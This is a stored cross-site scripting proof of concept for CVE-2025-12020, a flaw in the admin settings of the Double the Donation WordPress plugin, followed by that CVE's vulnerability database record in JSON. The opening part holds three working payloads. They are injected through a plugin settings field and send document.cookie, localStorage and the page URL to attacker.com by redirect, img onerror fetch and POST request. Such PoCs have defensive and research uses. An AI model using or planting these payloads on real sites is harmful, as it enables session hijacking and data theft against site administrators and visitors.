CVE-2025-12020

<!-- Stored XSS PoC for CVE-2025-12020 --> <!-- Requires administrator privileges --> <!-- Inject via plugin settings field --> <script> // Steal admin session cookies document.location='https://attacker.com/steal?c='+document.cookie; </script> <!-- Alternative payload using img onerror --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- XMLHttpRequest-based exfiltration --> <script> fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, localStorage: localStorage, url: window.location.href }) }); </script>

{"cve": {"id": "CVE-2025-12020", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:45.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Double the Donation – A workplace giving tool to help your fundraising efforts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/double-the-donation/tags/2.0.0/doublethedonation.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/double-the-donation/tags/2.0.0/doublethedonation.php#L79", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3393231/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/63ba2d29-26dc-4c5f-9d9d-9a13e25c44b9?source=cve", "source": "[email protected]"}]}}